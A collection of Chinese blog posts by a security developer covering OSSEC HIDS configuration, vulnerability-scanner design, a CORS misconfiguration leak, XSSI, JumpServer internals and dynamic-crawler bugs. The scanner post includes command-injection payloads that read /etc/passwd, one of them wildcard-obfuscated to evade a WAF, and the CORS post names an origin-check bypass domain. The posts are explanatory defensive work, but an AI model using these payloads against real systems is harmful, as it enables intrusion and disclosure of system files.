OSSEC 支持通过 Server 远程管理 Agent 的各项配置，只需要设置 /var/ossec/etc/shared/agent.conf。一般需要几个小时来同步配置，但可以手动重启Agent来加快这个进程。

OSSEC 有三大模块：

• 日志收集 & 分析

• 完整性检查

• rootkit检查

0x01 日志处理模块

日志处理模块（Log Analysis，又称 LIDS）分为两部分：日志收集（运行在Agent）、日志分析（运行在Server）。

日志收集主要通过如下手段：

• 进程监控（通过定时运行命令来获取系统当前状态，比如磁盘使用量、CPU占用率等）

• 文件监控（监控系统的日志文件变动，为被动触发）

添加新的日志收集规则，只需要在 Agent 的 ossec.conf 中添加一条 <localfile> 规则即可

# 文件监控
<localfile>
    <log_format>apache</log_format>
    <location>/var/www/logs/access_log</location>
</localfile>
# 进程监控
<localfile>
    <log_format>command</log_format>
    <command>df -h</command>
</localfile>

Agent 不做任何日志分析/过滤，只是收集日志打包发送给 Server。

日志分析模块接收到日志后，首先会用 decoder 解析出日志的各个字段。然后调用 rules 里的规则对内容进行匹配，输出告警内容。

decoder 实际上也分为两个阶段：第一阶段 pre-decoding 为 ossec 内置，可以将标准的 syslog 日志，解析出基础的 hostname、programname、log 字段[2]；第二阶段 decoding 根据解析出的 programname 去解析出详细的字段。官方[3]的栗子：

# 日志原文：
2013-11-01T10:01:04.600374-04:00 arrakis ossec-exampled[9123]: test connection from 192.168.1.1 via test-protocol1
# pre-decoding后:
full event: '2013-11-01T10:01:04.600374-04:00 arrakis ossec-exampled[9123]: test connection from 192.168.1.1 via test-protocol1'
hostname: 'arrakis'
program_name: 'ossec-exampled'
log: 'test connection from 192.168.1.1 via test-protocol1'
# decoding后：
decoder: 'ossec-exampled'           # 对应上一步骤的program_name
srcip: '192.168.1.1'
proto: 'test-protocol1'

对应的 decoding 规则如下：

<decoder name="ossec-exampled">
  <program_name>ossec-exampled</program_name>
</decoder>
<decoder name="ossec-exampled-test-connection">
  <parent>ossec-exampled</parent>                               # 继承自上一标签
  <prematch offset="after_parent">^test connection </prematch>   # 逻辑判断
  <regex offset="after_prematch">^from (\S+) via (\S+)$</regex>     
  <order>srcip, protocol</order>        # 变量名，对应的值为正则表达式里匹配的内容
</decoder>

decoder 利用 parent、 prematch 等标签实现逻辑判断（类比于if）， regex、 order实现参数匹配， parent 继承的方式，也可以实现多条件分支判断，用于识别不同类型的日志（比如ssh日志中的登录失败、登录成功等）。这样巧妙的设计值得学习。

rules 一共分为16个等级（0-15），设置为0时只会记录不会告警。同样是通过规则继承实现条件判断，但比decoder更复杂，具体可参考 https://ossec.github.io/docs/syntax/head_rules.html。

举个栗子，OSSEC 自带的 Apache 服务狗带的告警：

<group name="apache,">
  <rule id="30100" level="0">
    <decoded_as>apache-errorlog</decoded_as>        # 对应decoder中的name
    <description>Apache messages grouped.</description>
  </rule>
  <rule id="30103" level="0">
    <if_sid>30100</if_sid>          # 继承
    <match>^[notice] </match>       # if判断
    <description>Apache notice messages grouped.</description>
  </rule>
  <rule id="30104" level="12">
    <if_sid>30103</if_sid>
    <match>exit signal Segmentation Fault</match>
    <description>Apache segmentation fault.</description>
    <info type="link">http://www.securityfocus.com/infocus/1633</info>
    <group>service_availability,</group>
  </rule>
</group>

告警默认通过邮件发送，具体发送的漏洞等级范围可以在 ossec.conf 中调整。

0x02 完整性检查模块

Syscheck（完整性检查）：

• 主要是检查系统中的关键文件的MD5、SHA1变化以及Windows注册表

• 默认6小时检查一次，可以配置。文件的hash信息会同步到 Server 去存储（/var/ossec/queue/syscheck）

• ossec-syscheckd可以做到实时监测，通过inotify 机制来实现

举个栗子，每隔两个小时检查一次 /etc 目录的文件变动：

<syscheck>
    <frequency>7200</frequency>     # 检查频率
    <directories check_all="yes">/etc</directories>  # 检查的目录
    <ignore>/etc/hosts.deny</ignore>        # 忽略的目录，可以理解为白名单，减少重复误报的情况
</syscheck>

0x03 Rootkit检查模块

RootCheck检查手段：

• rootkit_files.txt 记录了 rootkit 常用的文件，程序会尝试 stats, fopen and opendir 指定的文件。程序会尝试所有的syscall，因为有些内核级别的的 rootkit 会隐藏文件。尝试的次数越多，漏报会越少。这个库需要不断更新。

• rootkit_trojans.txt 记录了木马文件的特征。这个方法无法检测内核级别的 rootkit，也无法发现未知木马。

• 扫描/dev目录来寻找异常。一些 rootkit 会隐藏在该目录下，实际上这个目录只应该有设备文件。

• 扫描所有的文件，主要检查权限异常。普通用户不应该有权限修改root的文件。还有suid文件、隐藏的文件和目录。

• 查找隐藏进程。程序使用 getsid 和 kill 去检查 pid 是否被占用。如果 pid 被占用了，但是 ps 并没有显示，说明有可能被 rootkit了。

• 查找隐藏端口。程序使用 bind 去检查端口（包括 tcp udp）是否被占用。如果端口被占用了，但是 netstat 并没有显示，说明有可能被 rootkit了。

• 扫描 promisc 模式的网卡。如果是promiscuous 模式的网卡，但是 ifconfig 没有显示，说明有可能被 rootkit了。

0x04 实时阻断功能

Active Response: 一些规则被匹配到后，会触发命令执行，来实现一些功能[1]。比如：ssh爆破次数大于10次，屏蔽ip

<command>
    <name>host-deny</name>
    <executable>host-deny.sh</executable>
    <expect>srcip</expect>
    <timeout_allowed>yes</timeout_allowed>
</command>  
<active-response>
    <command>host-deny</command>
    <location>local</location>
    <rules_id>31171</rules_id>              # 满足某条规则，就触发屏蔽            
    <timeout>600</timeout>
</active-response>

注：告警是 Server 端产生的，通过 Server 端运行的 agent_control 进程将相关指令下发给 Agent，最终在 Agent 端执行并生效[4]。

总结

说起来这篇文(fan)章(yi)写了也有段时间了。本来是雄赳赳气昂昂，准备看完文档就看源码的，结果文档写的很好，国内外也有很多人分享过各个方面的理解，也就丢了看源码的心思（😩其实是不想看C）。

整个的设计模式非常有参考价值，通过层层叠叠的配置文件，降低了添加新规则的门槛，也让整体看起来更有条理。

参考资料

[1]开源HIDS-OSSEC使用实例2：使用联动功能阻断cc攻击 http://www.freebuf.com/articles/system/69394.html [2]OSSEC日志泛化及告警规则配置 http://www.freebuf.com/articles/network/36484.html 在 [3]OSSEC官方文档 http://ossec-docs.readthedocs.io/en/latest/manual [4]About active responses in OSSEC http://sgros.blogspot.com/2012/08/about-active-responses-in-ossec.html

阅读原文

跳转微信打开

确认过眼神，你就得在这里

还在上大学的时候，觉得做安全工具给别人用的人最牛逼，一心想做扫描器，就走上了安全开发的不归路（🙄翻个白眼，并给自己点一首凉凉）。

在我云实习的时候，有幸参与到一个相对完善、高创新性和高效率的扫描系统的组件开发。时间较短、接触的东西也有限，但仍然对扫描器的整体架构有了一定的了解。后来由于不可抗力，最终还是加入了现在的公司。

经过一年多的折腾和尝试，我把漏洞扫描这一块儿，里里外外摸了个透。虽然因为人力有限，POC量和更新速度远远比不上当年实习时接触到的扫描器，产(K)出(P)也(I)不符合我的预期，但整体的框架设计仍然是值得参考的。

0x00 漏洞分类

根据检测原理（或者说：扫描 Payload 的插入位置），我将漏洞分为如下几类：

• url参数级

依赖于爬虫，需要在每个参数值/参数名的位置插入 Payload 进行 Fuzz，同一 Payload 被多次调用。比如 XSS、SQL注入、文件包含、命令执行等

• url级

  同样依赖于爬虫，但无需遍历参数，每个 URL 只调用一次相关 Payload。比如：S2-045（指定HTTP Header）、PHP CGI命令执行（指定QueryString）、部分XXE（指定POST内容）等

• web_domain级

依赖于端口扫描、web服务识别，每个web站点只调用一次相关 Payload。比如：docker remote API未授权、子域名劫持、TOMCAT RCE（CVE-2017-12615）、discuz SSRF、git信息泄露、敏感文件下载等

• service_domain级

  依赖于端口扫描、服务识别，每个非HTTP服务只调用一次。比如：rsync未授权、mysql弱口令、redis未授权等

  
  

注：参数名处存在漏洞的可能性比较低，可以根据扫描等级来确定是否 Fuzz

0x01 扫描整体流程

整体逻辑大体如上图，但实际操作的时候为了减少漏报，会做一些特殊处理，比如：

• service_bat 会 Fuzz 部分默认端口，即使端口扫描部分没有扫到对应的端口开放（比如 redis、ssh）

• 爬虫会输出网站的 PATH 给 web_domain_bat，方便非常见路径的文件fuzz（比如： http://example.com/nicaibudaozhegelujing/.git/config）

注： bat 取自 windows bat文件（批处理）。

0x02 模块设计

接下来会大致介绍一下各个模块的设计。各个模块的漏洞输出均为同一格式（Json）：

[{
"target": "127.0.0.1",
"port": 22,
"service": "ssh",
"bug_type": "ssh_weak_pass",
"description": "name: 111, password: 111"
}]

service_bat，对应的是 service_domain 级别漏洞的扫描，模块输入出如下代码示例：

未指定 端口 及 对应的服务 的时候，程序会 Fuzz 所有 Payload（默认端口，比如ssh弱口令对应22端口）。

web_domain_bat，对应的漏洞类型是web_domain级。模块输入如下代码示例：

这个模块涉及的 Payload 比较多，原本可以分成好几个模块，比如 弱点文件Fuzz、web通用程序漏洞Fuzz。

但从 Payload 的特性来看，都是基于单次/少量web请求，判断返回值或者返回内容是否包含指定字符串，就可以确认这个站点是否存在漏洞。

提取这些关键特征，可以将大部分的 Payload 都配置文件化，以网页的形式去管理，即可大幅减少维护成千上万 Payload 文件的成本。通过统计 Payload 的命中次数/扫描次数等数据，也对后续 Payload 的优化调整有很高的指导意义（比如：智能模式下，只扫描命中率较高的 Payload）。

url_bat，对应了 url参数级别 和 url级别 的漏洞扫描。模块输入如下代码示例：

这个模块和 web_domain_bat 模块一样，可以将 Payload 配置文件化。业界比较好的开源软件，也可以引入，比如：sqlmap（SQL注入）、tplmap（SSTI模板注入）等。

这个模块还包含了很多的通用漏洞，绕过WAF的能力也很重要。比如：

初级Payload: http://test.com/command.php?exe=cat /etc/passwd
高级Payload: http://test.com/command.php?exe=c?t /e??/p??s?d

0x03 总结

如上分析，就已经是一个比较全面的扫描模式设计了，可以给每个即将到来的漏洞POC找到自己的位置。再举几个栗子：

• 永恒之蓝（010）： 归属于 service_bat 模块，smb 服务。

• Struts2命令执行（S2-053）：归属于 url_bat 模块，param级别扫描

• docker remote API未授权：归属于 domain_bat 模块，不限定指纹

• Tomcat RCE（CVE-2017-12615）：归属于 domain_bat 模块，限定 Tomcat 指纹

最后泼一万吨液氨水，扫描器讲架构讲设计都是耍流氓，POC数量多的、质量高的（0day，误报率低）才是大爷。

而小型安全团队，做内部的漏洞应急排查，YSRC开源的巡风就完全够用了（没有 爬虫 和 url_bat 模块）。

在当前国内漏洞报告普遍封闭的大背景下，想打磨大而全的强力扫描器，要么需要大量源码审计人员从修复代码中“逆向”出漏洞，要么依托于已有的漏（money）洞（money）平（money）台（money）。牛逼的越来越牛逼，吃瓜群众还是继续吃瓜...

阅读原文

跳转微信打开

煲了一碗鸡汤，加了几分技术的调料，来尝尝？

0x00 先吃一口安利：Pandas + Numpy

最近几周都沉迷机器学习不可自拔，非常有 “相见恨晚” 的感觉，想丢下一切跟机器学习走 :)

后果就是工作进度拉下不少 o(╥﹏╥)o，趁着周五疯狂赶进度。

有这样一个场景：Agent 每隔一段时间会回传 CPU 的占用情况（数据存在 ElasticSearch 里），需要提取一天内 CPU 占用率过高的主机列表发邮件提醒我。

原本代码是这样写的：

但是一台机器可能会触发多次CPU占用率过高的记录（无需重复提醒），还有一些机器只触发了一次的CPU占用率过高（偶发事件，应该忽略），这都需要特殊处理下。

大脑放空...这大概得做个 groupby 吧...要是改这个ES查询语句，我可能又要改半天了...说起来，pandas 的 groupby 是真好用啊...要是 pandas 能用在这个破项目里就好了...诶诶，怎么不能用啊？

查了下资料，[dict1, dict2, dict3...] 这种格式的可以直接转化为 dataframe 对象。处理完的 dataframe 对象也可以轻松的转化为各种形式的 Python 内置数据类型。代码如下：

处理后的告警结果如下（按平均 CPU 占用率排序。不过港真，这种单核 CPU 占用率在30%的辣鸡 Agent 真的是我写出来的吗？）

想想参加个比赛，被各种数据虐来虐去，groupby用了多少次准确率还是低到令人发指。用在这犄角旮旯统计的事情上，几行代码分分钟解决问题。

这是一个多么痛的领悟：Pandas、Numpy 用于科学计算，并非机器学习专用。

写完又开始神游天边，在我没接触机器学习，也没用过 Pandas、Numpy 之前，是不是花了很多冤枉时间来写辣鸡代码？

0x01 机器学习

突然让我感受到机器学习的重要性，是从隔壁组做了个基于机器学习的流量分析开始。将贝叶斯算法应用于预处理阶段，可以过滤掉大部分的正常请求，比正则或者字符串的匹配效率要高很多。再对剩下的数据进行二次处理，由于数据量不大，正则表达式的效率问题也就不那么突出了。

而后，我想做个服务端监控，和领导聊我的一些想法的时候，领导丢给我了一个词：UEBA。本来以为是个IT圈的新词，搜索的时候发现竟然和安全有千丝万缕的关系。（https://www.jianshu.com/p/49b93dd261b8）

春节放假的时候，想研究一下开源的 HIDS —— ossec，买了本巨厚的《OSSIM最佳实践》翻了一遍，ossec Agent 源码也看了一部分，独独空下了 Server 端事件分析、上下文关联这部分的内容。当时觉得太复杂，没想到最后还是逃不开命运。

四月份开始正儿八经的开始看书看视频，跟着吴恩达老师学了两周，了解了一些简单算法的原理，在数学公式里一脸懵逼。用octave做出第一个仿真的时候，开心到炸裂~

万能的朋友推荐了本书（Machine Learning and Deep Learning in python using Scikit-Learn and TensorFlow， github: https://github.com/ageron/handson-ml），用 Jupyter 一步步跟着复现。人生中头一次看原文书，竟然还能理解的差不多，感谢我的高中老师 ヽ(￣▽￣)و

书还没看到一半，万能的朋友再次出现，给我安利了一个机器学习比赛。选了个业务安全方向的题目，自己折腾了一周多，晚上睡觉都梦到 pd.merge，训练出的准确率还是惨不忍睹。积累了一丢丢实践经验，准备回去继续看书，毕竟厚积才能薄发。

0x02 近期计划

作为一只机器学习界的萌新，还是要把常用算法都实践一波。YSRC开源的驭龙 HIDS 源码要看，OSSIM 的事件关联分析部分要看。

沿着 “漏洞发现” 这条路，我从扫描器和 SDL 做到 HIDS。之后会沿着 “安全感知” 的这条路，结合威胁数据分析和机器学习，希望能找到适合我的新方向 (～￣▽￣)～

阅读原文

跳转微信打开

Access-Control-Allow-Origin 可能会造成的敏感信息泄露

如果有一天我不再更新了 = = 肯定是因为公众号这个破编辑器太难用了

测试过程

看到安全客的一篇文章，讲 CORS 可能会造成的安全漏洞，提到可以通过 xhr.withCredentials 支持 跨域Cookie 的传递。

然后本鸭就想岔了，跨域请求、还能支持Cookie，那岂不是可以分分钟拿到 httponly 的 Cookie了？？

写了个Demo做测试：

但是本鸭还是太年轻啊！！这个地方的 Cookie 仍然他喵的遵守同源策略啊！！

同源策略本来不就是这么规则的吗！！为什么！！为什么要加个没什么卵用的属性来伤本鸭的心！！

信息泄露

大老师说过：当上帝为你关上一扇门，总会再给你把窗户都钉死。

虽然XSS直接取Cookie的方法不通，但通过CSRF的思路读取敏感信息还是可以的。

比如，有些开发为了方便，会这样写（https://www.jianshu.com/p/552daaf2869c）：

或者这样写：

header('Access-Control-Allow-Origin:*');

很明显都是存在安全隐患的，可以做到 “点我的链接，我就知道你二大爷的闺女的口红色号” 的效果。

当然可能存在稍微聪明点儿的开发，做了一些限制：

可以绕过：

victim.com.hacker.com

参考资料

JSONP与CORS漏洞挖掘 https://www.anquanke.com/post/id/97671

跨域资源共享 CORS 详解 http://www.ruanyifeng.com/blog/2016/04/cors.html

阅读原文

跳转微信打开

有续篇还是没续篇，这是一个问题。

诈尸。

终于轮到了一个“不费力但讨好”的项目，做的差不多了。随便翻翻feedly，看到有老司机在介绍开源堡垒机——jumpserver。

想了解实现原理，所以看了部分核心代码，这篇文章就是个简单的记录。

jumpserver三大核心组件：Jumpserver（Web控制台）、Luna（Web Terminal）、Coco（跳板机，即SSH Terminal）。

Coco为跳板机的守护进程，负责监听用户连接、鉴权、连接后端机器、监控命令等。这次只关注这个模块的实现原理。

相关目录结构:

• coco/
  

• app.py

• interactive.py

• interface.py

• proxy.py

• tasks.py

• ...

• jms/

• service.py

• tasks.py

• utils.py

• ...

• run_server.py

run_server.py 为入口程序，会启动三个守护进程：

• coco/app.py: 提供ssh连接服务

• command_task: command_queue队列消费者，用户输入命令后发送到Jumpserver保存，用于后续审计

• record_task: record_queue队列消费者，将输入输出发送给Jumpserver, 用来录像回放

跟进 app.py 的详细步骤：

• 开启socket监听，默认为2222端口，最多允许5个客户连接到服务器

• 每接收到一个客户端连接请求，就会开启一个新的守护线程，调用paramiko模块，假装自己是一个ssh server,进行ssh认证和建立连接

• 验证成功后，会开启一个交互式的命令窗口接收用户输入

• 用户输入机器ip后，程序会先判断是否为用户被授权的资产（调用接口查询数据库）。

• 如果查询到资产后，会再次调用paramiko模块，假装自己是client连接到后端机器(调用接口查询用户密码信息，然后连接)

• 利用多路复用IO的模块（python selectors）来监控两边的输入输出，并进行双向通信。如下（糙）图：

堡垒机在这里完全可以理解为一个代理。从始至终，你都没有真正连接到你的开发机的terminal。堡垒机先读取用户输入，做一些不可见人的事情（命令监控）后，发送给指定的开发机，然后读取开发机的输出，再输出给用户。

弄清楚这个过程之前，需要区分几个概念：

• Interactive Console: 交互式命令行，常见的有 Chrome Console、Python Console、 Linux Terminal等

• SSH: 只是一个通信协议，经常用来连接Linux Terminal

• Linux Terminal: 交互式命令行的一种

ssh连接堡垒机，实际只是连接到了堡垒机的某个守护进程的交互式命令行，跟堡垒机的Linux Terminal没有关系，堡垒机的 /etc/passwd 中也没有你的账号。

选择了开发机并连接成功后，和你进行交互的还是堡垒机的交互式命令行。堡垒机通过SSH连接到了开发机的Linux Terminal，读取你的输入发送给开发机的Terminal，然后再读取Terminal的输出发送给你。

有续篇还是没续篇，这是一个问题。

参考资料

jumpserver: https://github.com/jumpserver/jumpserver/wiki/v0.4.0-%E5%BA%94%E7%94%A8%E5%9B%BE%E8%A7%A3

coco: https://github.com/jumpserver/coco

jms: https://github.com/jumpserver/jumpserver-python-sdk

阅读原文

跳转微信打开

没错，我还活着

没错，在拔了一颗智齿，害死了三株刚开花的向日葵，停更10天之后，我还活着。

今天还是讲动态爬虫的漏抓案例。(干脆跳槽专门写爬虫算了)

一句话总结: 为了防止阻塞，除了 alert/prompt/confirm，你还得 Hook 更多的函数。

BadCase:

<a onclick=show()>test</a>

<script type="text/javascript">

    function show(){

        window.showModalDialog("another_page.html");

    }

</script>

window.showModalDialog 是早期浏览器使用比较频繁的函数，用来弹出一个新页面，并且是阻塞执行的（所以造成爬虫超时被强行杀进程）。后来被 window.open 函数替代。替换的原因有：

• showModalDialog 没有导航栏，无法进行后退、前进、收藏等操作

• showModalDialog debug非常复杂（只能用alert调试法 2333）

• 名字又长又难记（迷之猜测）

下图为正常打开的页面与 showModalDialog 打开的页面比较：

目前Chrome最新版已经不支持这个函数了，但Firefox、Safari、IE仍然支持。毫无意外的 PhantomJS 也支持。解决方案很简单，直接 Hook 函数就可以了：

这样的话，加上最开始就被 Hook 的 alert/prompt/confirm，现在已经 Hook 了四个可能会引起阻塞的函数了，是不是还有其他隐藏的存在呢？

写个脚本来检查下： 

var page = require('webpage').create();

page.onConsoleMessage = function(msg) {

    console.log('> ' + msg );

    return true;

};

page.open("http://127.0.0.1:8082", "GET", "", function (status) {

    console.log(status);

    page.evaluateAsync(function(){

        for(var i in window){

            try {

                if (typeof eval("window." + i) != "function") {

                    continue

                }

            }catch (e){

            }

            // if(i in {"showModalDialog": "1"}){

            //     continue

            // }

            try{

                console.log(i)

                eval("(function(){" + i + "();})()");

            }

            catch (e){

                // console.log(e)

            }

        }

    }, 10)

}); 

用 PhantomJS 加载任意页面，然后遍历 window 对象。首先出现阻塞卡顿的函数是 showModalDialog，再次运行脚本，跳过 showModalDialog 函数，然后....

顺畅的运行完成，说好的 alert/prompt/confirm 函数导致的阻塞呢？

复制脚本到浏览器中运行，倒是成功复现了 alert/prompt/confirm/print 导致的阻塞： 

分析原因，应该是PhantomJS在封装onAlert、onPrompt、onConfirm接口的时候就对这几个可能产生阻塞的函数做了处理。

同样的原理，可以套用在其他的动态解析器上。举个栗子，在Chrome Headless里需要 Hook 哪些接口，你现在知道了吗？

参考资料：

https://stackoverflow.com/questions/20733962/why-is-window-showmodaldialog-deprecated-what-to-use-instead

阅读原文

跳转微信打开

还有更好的解决方案吗？

最近忙着当码农，不debug也没遇到有意思的案例，只能分享个以前发现的漏抓案例~

案例URL: https://lvyou.baidu.com/main/event/rank

说是漏抓，实际上是动态分析超时导致没有结果返回。

动态爬虫里触发行内绑定事件的代码如下：

逻辑是遍历所有的节点的所有属性，执行以on开头的属性值，即 onclick=alert(1) 这种。

但是抓取上面案例的时候，发现一直没有返回结果，使用伟大的print调试法打印了触发的具体内容后，发现页面一直在不停的触发同一个事件。

for循环竟然会失效？

仔细看下页面源码：

登录应该是用JSONP来实现的，每次点击登录都会生成一个script标签，而且这个标签恰好还插入在了登录标签前面。

遍历数组的过程中，也在不断扩展这个数组。这就是问题的关键。

那应该怎么解决呢？本帅选了个比较蠢的方法：

看起来不是很优雅，或许你还有更好的方法？

阅读原文

跳转微信打开

又一发漏抓案例

遇到的问题： phantomjs解析的时候，超时严重导致漏抓。

简化页面内容如下：

通过伟大的注释调试法，可以发现问题在这行代码里：

动态分析时会主动去执行行内绑定的代码，即：window.close()。关闭了页面之后，PhantomJS后续绑定的事件都会失效，比如page.evaluate、page.onCallback、phantom.exit。没有执行exit函数，一直阻塞导致触发python的超时——狗带。

修复方案：
在执行关闭页面的时候，PhantomJS的onClosing事件可以收到通知，示例代码如下:

还可以通过Hook来解决这个问题：

案例代码：

<script type="text/javascript" language="javascript">

function BtnPsw_onclick() {

window.open("../Login/UpdatePass")

} 

</script>

<form name="form1" method="post" action="" id="form1">

用户名：<input name="UserName" type="text" id="UserName" class="logintext"><br/>

密码: <input name="Password" type="password" id="Password" class="logintext"><br/>

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="1222">

<input name="LoginButton" type="button" id="LoginButton" value="登 录" class="lbotton">

<input name="login" type="button" value="退 出" class="lbotton" onclick="window.close()">

<input name="UpdatePwd" type="button" value="修改密码" class="lbotton" onclick="BtnPsw_onclick()">

</form>

上次推送的文章因为关键字被干掉了，改天我折腾好博客再发吧...hexo搞起来心好累...

阅读原文

跳转微信打开

~\(≧▽≦)/~ 八哥你走开！

为了方便分布式，扫描器的运行环境用Dockerfile编译的。测试的时候是mac + python3.5.3，本地测试完成上线（docker ubuntu + python3.5.2）后，发现报错（下图为部分报错信息）：

似乎是因为URL里有中文，才导致的转码失败。但老夫已经聊发少年狂，从Python2 切换到了 Python3，为何还会有这种错误？！

为了方便测试，把报错的代码单独拉出来，如下：

但在复现漏洞的时候，发现漏洞只能在docker的运行环境里复现，mac + python3.5.3 和 ubuntu + python 3.5.2都不存在问题。

一番搜索之后，找到了问题所在：

在mac下执行同样的命令：

Python 的编码问题一直饱受诟病。虽然在Python3的版本做了一些变动，默认编码形式由 ASCII 改为 utf-8。但在与操作系统底层进行交互（subprocess.Popen）的时候，还是会调用系统的编码。而我们传进去的中文是以 utf-8 进行编码的，在docker运行环境里，系统默认编码为 ANSIX_X3.4-1968，所以导致了解码错误。

解决方案：

1）从dockerfile编译镜像的时候指定系统编码

2）给subprocess传参的时候，先转码为bytes格式（绕过系统的编码转换过程）

参考资料：

https://www.binss.me/blog/solve-problem-of-python3-raise-unicodeencodeerror-when-print-utf8-string/

https://askubuntu.com/questions/581458/how-to-configure-locales-to-unicode-in-a-docker-ubuntu-14-04-container

http://www.jianshu.com/p/5682a0e0a9ba

阅读原文

跳转微信打开

一篇虎头蛇尾的番外

这是之前写的一篇文章，写到一半拖延了半年...

一句话总结：XSSI漏洞，并非开发逻辑错误而产生的，更应该算是浏览器的漏洞。

0x00 JSONP劫持漏洞

首先，从大家比较熟悉的 JSONP劫持 开始讲起。举个栗子，某站(xxx.yyy.com)需要从主站(www.yyy.com)跨域加载一些信息，所以有了下面的这段代码：

但是getinfo.php的代码没有对来源站做检查，再加上script的跨域特性，就让攻击者有机可乘了。攻击代码示例如下：

当用户点击了恶意链接之后，页面解析自动发出请求，然后执行攻击者设定好的代码，该接口返回的信息就被攻击者掌握了。攻击原理可以参考CSRF漏洞，利用姿势参考XSS漏洞，这里不再细讲。

这是 JSONP劫持 里比较经典的一个案例。而我们今天要讲的是 XSSI漏洞，跟这个有什么关系吗？

都是劫持敏感信息，但劫持的类型不一样。JSONP劫持的是callback函数名可以被攻击者控制/猜测的JSONP接口，开发人员背锅。而XSSI漏洞劫持的通常是一些AJAX请求的接口，需要配合浏览器漏洞才能成功利用。

0x01 XSSI

XSSI -> Cross Site Script Include，漏洞到底是怎么产生的呢？

原因之一，是你用了假的AJAX请求。从开发的视角来看，AJAX请求只能通过 javascript 里的 XMLHttpRequest 对象发出，且在请求的时候浏览器会自动在请求头里加上 X-Requested-With: XMLHttpRequest。如果后台没有检查请求头里没有 “X-Requested-With: XMLHttpRequest” ，直接返回数据（AJAX失去了做人的尊严），就会出现问题。

也就是说，攻击者仍然可以用这种方法去加载存在问题的接口（就像JSONP劫持一样）：

```

<script src=http://www.yyy.com/getinfo.php??userid=xxx>

```

但AJAX请求返回内容的格式不定，有可能是json，也有可能是字符串、CSV等。举个栗子，json的格式往往是 {"secret": "secret"}，没有赋值给某个变量，也不像jsonp请求会执行指定函数。攻击者无法直接获取到内容，那到底是什么操作泄露了返回的内容呢？

原因之二，是浏览器有了真的漏洞。15年有国外的研究人员发布文章提到了如下几种攻击方法，可以获取到接口的内容：

• IE bug导致错误信息泄漏

• 通过UTF-16编码获取其它类型的数据

• chrome/firefox 中 Harmony proxy bug利用

• 穷举

• csv获取

我们重点来分析下第三种，通过Proxy的设计缺陷来获取json的内容。产生原因比较经典：因为浏览器新性能导致的漏洞。

0x02 案例分析——Proxy

先来看下 Proxy 的基本使用方法。

看起来像webhook，可以更改原有接口的逻辑，截获参数的内容。原本设计应该是为了方便JavaScript的类继承，但黑阔们发现可以用Proxy代理window对象：

由于 {{target_url}} 是用<script>标签加载的，返回内容会被浏览器当成JS解析，当返回的内容为字符串（xyz）的时候，执行内容类似于 window.xyz。字符串的内容就被Proxy has函数读取到了。

现在漏洞已经修复，不能再给window对象添加Proxy代理。修复的过程也比较有意思，出过几次bypass，看来国际大厂的开发哥哥们也喜欢 “指哪儿修哪儿”

具体的案例可以参考： http://balpha.de/2013/02/plain-text-considered-harmful-a-cross-domain-exploit/

0x03 更多劫持方法

Proxy问题只是诸多劫持方法中的一种，更多类型的数据劫持方法可以参考： 

http://www.mbsd.jp/Whitepaper/xssi.pdf

http://bobao.360.cn/learning/detail/3242.html

乌云知识库翻译版本： http://wps2015.org/drops/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html

更多关于Proxy的用法：https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy

0x04 影响及修复

漏洞的利用条件：

* 含有敏感信息的接口没有验证 X-Requested-With 请求头

* 浏览器非最新版本，或者存在0day

* 用户点击攻击者的链接

修复：

* AJAX接口统一验证 X-Requested-With 请求头，或者添加响应头 X-Content-Type-Options: nosniff 

* 关服务器跑路（划掉）

阅读原文

跳转微信打开

因为浏览器嫌你 “太快” 导致的漏抓，你能修复吗？

安全开发者的小黄鸭，会不定期的分享我在苦逼开发过程中遇到的一些问题、解决方案，以及新的姿势技巧，大多数推送的文章会比较短。

如果你在安全开发方面有什么问题，也可以直接回复公众号，我会抽时间解答~

一句话总结：触发事件一定要有时间间隔！

先来看抓取的页面源码：

两个<a>标签点击后会分别跳转到 /test4.php 和 /test5.php（抓取时页面已锁定，实际不会跳转，但可以监控到跳转的目标URL），但爬虫并未抓取到 http://localhost/test4.php。

检查下phantomjs模块的具体调用日志：

可以看到 id=test4 节点对应的事件确实被触发了，而且还把锚点的变化都记录下来了。但就是没抓到 /test4.php 跳转的请求。

原本以为是因为锚点的问题，锚点阻止了后续的事件执行（一个不负责任的脑洞）。但经过一番调试，发现是触发事件的时候出问题了。

window.location.href 重复执行的时候，浏览器只会执行后面的一个，比如这段代码，可以粘贴到 Console 执行下，页面会跳转到 /456。

那应该如何解决？

重启电脑，然后重装系统

骗你的。触发事件的时候，要留一个短短的间隔。（浏览器： 你太快了

由于 Javascript 的异步非阻塞的特性，还加了个闭包来实现 sleep。

如果不想这么做的话，也可以通过 Hook location对象来解决。

虽然 location对象 在最近版本的 chrome 里已经不能 Hook 了，但像 phantomjs/qtwebkit 之类的以 webkit 为核心的解析器并不会及时的去更新，实测可行。但从可持续发展的角度来看，更推荐第一种方法。

因为是浏览器的特性导致的漏抓，所以这个问题不仅会出现在 PhantomJS 中，用其他解析器也是一样的。但解决方案都是通用，大佬们可以检查下自己的爬虫了。

实际上，@世琪 老司机很早就跟我说过这个问题了，但是因为一直没遇到badcase，所以一直处于搁置的状态，搁置的久了，就忘了....今天红老师把badcase丢给我，还捣腾了半天才发现问题...

想了解更多 Hook 和 触发事件 相关的，可以点击 阅读原文，查看我之前在安全客上发表的文章《浅谈动态爬虫与去重》。

阅读原文

跳转微信打开

分享我在使用 python subprocess 进行扫描器开发过程中踩过的坑，以及应用在分布式扫描程序中的时候，可能存在的远程命令执行漏洞。

安全开发者的小黄鸭，会不定期的分享我在日常工作中遇到的一些问题、解决方案，以及新的姿势技巧，大多数推送的文章会比较短。

如果你在安全开发方面有什么问题，也可以直接回复公众号，我会抽时间解答~

一句话总结：subprocess.Popen 使用的时候，最好是 shell=False

ok~今天的主要内容是分析python subprocess模块的应用，以及需要注意的点，首先来看一段基本代码：

这段代码的作用是用 subprocess.Popen 开启一个基于 phantomjs 的爬虫进程，阻塞等待程序执行结束，使用正则表达式匹配出有效内容后返回。

程序做了超时处理，在调用communicate函数的时候指定了超时时间，如果任务超时，会调用kill函数杀掉当前进程。

但是在程序运行过程中，出现了多个phantomjs进程驻留内存的问题。

一开始怀疑kill()函数失效，为了检查kill()函数是否正常运行，我在 process.kill() 之前，插入了一句print(process.pid)。根据打印出来的pid，进程中并没有 subprocess 进程残留，即打印出来的 pid 和未结束的 phantomjs 进程pid并不相同，且phantomjs.pid = process.pid + 1。

